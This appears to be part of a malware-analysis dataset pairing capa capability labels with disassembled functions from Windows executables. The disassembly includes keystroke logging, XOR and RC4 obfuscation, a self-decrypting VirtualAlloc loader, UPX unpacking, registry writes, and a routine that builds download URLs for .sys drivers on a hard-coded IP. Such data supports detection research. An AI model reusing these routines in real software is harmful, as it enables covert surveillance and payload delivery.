joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403070
Capabilities:
Access peb ldr_data
Delete file
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4053c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
push 0x40846c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_2
push 0x40846c
lea ecx, [esp + 0x10]
mov dword [esp + 0x34], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40846c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], 1
call sub.MFC42.DLL_CString::CString_2
push 0x40846c
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 2
call sub.MFC42.DLL_CString::CString_2
lea esi, [edi + 0x60]
lea eax, [esp + 0x1c]
mov bl, 3
push eax
mov ecx, esi
mov byte [esp + 0x34], bl
call fcn.00404200
add edi, 0x80
push eax
mov ecx, edi
mov byte [esp + 0x34], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], bl
call fcn.00404940
mov ecx, dword [edi]
push str.AirP_softbusiness.sys
push ecx
lea edx, [esp + 0x18]
push str._s_s
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [edi]
add esp, 0x10
lea ecx, [esp + 0xc]
push str.AirP_softdoubt.sys
push eax
push str._s_s
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0x10
lea edx, [esp + 0x18]
push str.http:__202.31.6.80
push str._s_Update_softbusiness.sys
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea eax, [esp + 0x14]
push str.http:__202.31.6.80
push str._s_Update_softdoubt.sys
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
push ecx
call edi
mov edx, dword [esp + 0xc]
push edx
call edi
push ecx
lea eax, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x2c], esp
push edx
mov byte [esp + 0x3c], 5
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
mov byte [esp + 0x38], bl
call fcn.004042a0
push ecx
lea eax, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
mov byte [esp + 0x3c], 6
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
mov byte [esp + 0x38], bl
call fcn.004042a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 2
call fcn.00404940
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 1
call fcn.00404940
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 0
call fcn.00404940
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 0xffffffff
call fcn.00404940
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x28
ret
Function at 0x404030
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x40562a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
push edi
mov dword [esp + 0xc], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [esp + 0x128]
mov edx, dword [esp + 0x124]
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 0x118], 2
push eax
push 0x20019
push 0
push ecx
push edx
mov dword [esp + 0x1c], 0x100
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x4040c4
mov edx, dword [esp + 0x128]
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 4]
push ecx
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp]
test eax, eax
je 0x4040d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
mov esi, dword [esp + 0x120]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov eax, 1
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x128]
mov byte [esp + 0x118], al
call fcn.00404940
lea ecx, [esp + 0x12c]
mov byte [esp + 0x118], 0
call fcn.00404940
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x118
ret 0x10

Function at 0x404140
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x405650
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov edx, dword [esp + 0x18]
lea eax, [esp]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x18]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4041ba
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax - 8]
inc ecx
push ecx
mov ecx, dword [esp + 0x20]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
call fcn.00404940
lea ecx, [esp + 0x1c]
mov byte [esp + 0xc], 0
call fcn.00404940
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], 0xffffffff
call fcn.00404940
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x404200
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x40567f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push 0x40846c
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call sub.MFC42.DLL_CString::CString_2
push 0x104
push 0x104
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 1
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov esi, dword [esp + 0x1c]
lea eax, [esp + 4]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.00404940
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 4
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x4085a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4085b7
pop dword [ebp - 0xc]
mov eax, 0x99f8f930
add eax, 0x66478c87
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x369a8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x197a11ca
sub ecx, 0x1979d4b7
mov esi, eax
mov edi, 0xb9b442e
sub edi, 0xb5a086a
add edi, dword [ebp - 0xc]
mov edx, 0x4e881a6d
xor dword [ebp - 4], 0x4a973a2e
mov ebx, dword [edi]
add dword [ebp - 4], ecx
sub ebx, edx
mov dword [ebp - 4], 0xcb564bd3
mov dword [esi], ebx
xor dword [ebp - 8], ebx
add esi, 0x7da03bb9
sub esi, 0x7da03bb5
add edi, 0x1c854549
sub edi, 0x1c854545
loop 0x40860b
add eax, 0xc7060e44
sub eax, 0xc7052725
mov ebx, eax
add eax, 0xd2b35bc6
sub eax, 0xd2b35bc1
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x563c90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15e000]
push edi
jmp 0x563caa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x563cb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x563ca0
mov eax, 1
add ebx, ebx
jne 0x563cc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x563cd4
jne 0x563cf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x563cf3
dec eax
add ebx, ebx
jne 0x563ce0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x563cb8
add ebx, ebx
jne 0x563cef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x563d45
xor ecx, ecx
sub eax, 3
jb 0x563d0b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x563d7a
sar eax, 1
mov ebp, eax
jmp 0x563d16
add ebx, ebx
jne 0x563d16
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x563ce4
inc ecx
add ebx, ebx
jne 0x563d24
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x563ce4
add ebx, ebx
jne 0x563d31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x563d26
jne 0x563d42
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x563d26
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x563d64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x563d56
jmp 0x563ca6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x563d64
add edi, ecx
jmp 0x563ca6
pop esi
mov edi, esi
mov ecx, 0x255
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x563d82
cmp byte [edi], 1
jne 0x563d82
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x563d87
lea edi, [esi + 0x161000]
mov eax, dword [edi]
or eax, eax
je 0x563dff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18674c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x186800]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x563db4
mov ecx, edi
jns 0x563de3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x186804]
or eax, eax
je 0x563df9
mov dword [ebx], eax
add ebx, 4
jmp 0x563dd1
call dword [esi + 0x186814]
mov ebp, dword [esi + 0x186808]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x563e33
sub esp, 0xffffff80
jmp 0x40354b
Function at 0x4803e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x60000]
push edi
or ebp, 0xffffffff
jmp 0x480402
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x480409
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4803f8
mov eax, 1
add ebx, ebx
jne 0x48041b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48042c
jne 0x48044b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48044b
dec eax
add ebx, ebx
jne 0x480438
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x480410
add ebx, ebx
jne 0x480447
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48049d
xor ecx, ecx
sub eax, 3
jb 0x480463
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4804d2
sar eax, 1
mov ebp, eax
jmp 0x48046e
add ebx, ebx
jne 0x48046e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48043c
inc ecx
add ebx, ebx
jne 0x48047c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48043c
add ebx, ebx
jne 0x480489
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48047e
jne 0x48049a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48047e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4804bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4804ae
jmp 0x4803fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4804bc
add edi, ecx
jmp 0x4803fe
pop esi
mov edi, esi
mov ecx, 0x285
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4804da
cmp byte [edi], 6
jne 0x4804da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4804df
lea edi, [esi + 0x7e000]
mov eax, dword [edi]
or eax, eax
je 0x480557
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x86764]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x867a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48050c
mov ecx, edi
jns 0x48053b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x867a4]
or eax, eax
je 0x480551
mov dword [ebx], eax
add ebx, 4
jmp 0x480529
call dword [esi + 0x867a8]
popal
jmp 0x4028a4
Function at 0x4098b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46bc2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00460717
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409932
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045e48d
mov eax, dword [eax]
push 0x5341c0
push eax
call fcn.004511e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004609a2
test bl, bl
je 0x409932
push 0x5341c0
lea ecx, [esp + 0xc]
call fcn.00460d32
push 0x537d34
lea ecx, [esp + 0xc]
call fcn.00460d32
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40996e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004609a2
jmp 0x409a39
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4099f2
lea edx, [esp + 0x7c]
push 0x537d30
push edx
call fcn.004511e4
add esp, 8
test eax, eax
je 0x4099f2
lea eax, [esp + 0x7c]
push 0x537d2c
push eax
call fcn.004511e4
add esp, 8
test eax, eax
je 0x4099f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409982
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004609a2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a230
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a292
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a2a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46bcab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x53e5b8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a3d8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a306
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004609a2
xor eax, eax
jmp 0x40a44f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00460adf
push esi
lea ecx, [esp + 0xc]
call fcn.00460d6e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a42d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040a230
test eax, eax
jne 0x40a42d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040a230
test eax, eax
jne 0x40a42d
lea eax, [esp + 0x14]
push 0x537d48
push eax
call fcn.00452220
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a40c
lea ecx, [esp + 0x14]
push 0x537d44
push ecx
call fcn.004521a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a40c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a40f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00460a8f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a31e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004609a2
xor eax, eax
jmp 0x40a44f
mov byte [esi], 0
push 0x537d40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004609a2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41bc10
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bc7e
cmp si, 0x69
ja 0x41bc7e
add esi, 0xffd0
cmp si, 0x11
je 0x41bc4e
push 0x11
call edi
test ax, ax
jge 0x41bc4e
or esi, 0x2000
cmp si, 0x10
je 0x41bc63
push 0x10
call edi
test ax, ax
jge 0x41bc63
or esi, 0x4000
cmp si, 0x12
je 0x41bc78
push 0x12
call edi
test ax, ax
jge 0x41bc78
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41bc8b
mov esi, 0xbd
jmp 0x41bc3f
cmp si, 0x6e
jne 0x41bc98
mov esi, 0xbe
jmp 0x41bc3f
cmp si, 0x6f
jne 0x41bc39
mov esi, 0xbf
jmp 0x41bc3f

Function at 0x41d380
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x54ec28]
xor edx, edx
cmp eax, edx
jne 0x41d3a6
xor eax, eax
mov byte [eax + 0x54eb28], al
inc eax
cmp eax, 0x100
jl 0x41d38e
mov dword [0x54ec28], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x54eb28
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d437
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d40a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d3d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d4b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d503
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d4ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423f40
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4240d8
cmp ebp, ebx
jle 0x4240d8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x423f9e
dec eax
or eax, 0xfffffff8
inc eax
je 0x423fa5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x423fb4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x423fbb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004606e3
add esp, 4
cmp eax, ebx
je 0x423fdc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004606e3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4240ce
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4240b5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4240a1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x424096
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4240a4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4240a4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x424040
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x424031
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x427320
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d318
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x427359
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00468090
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004680dc
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004273e0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00468119
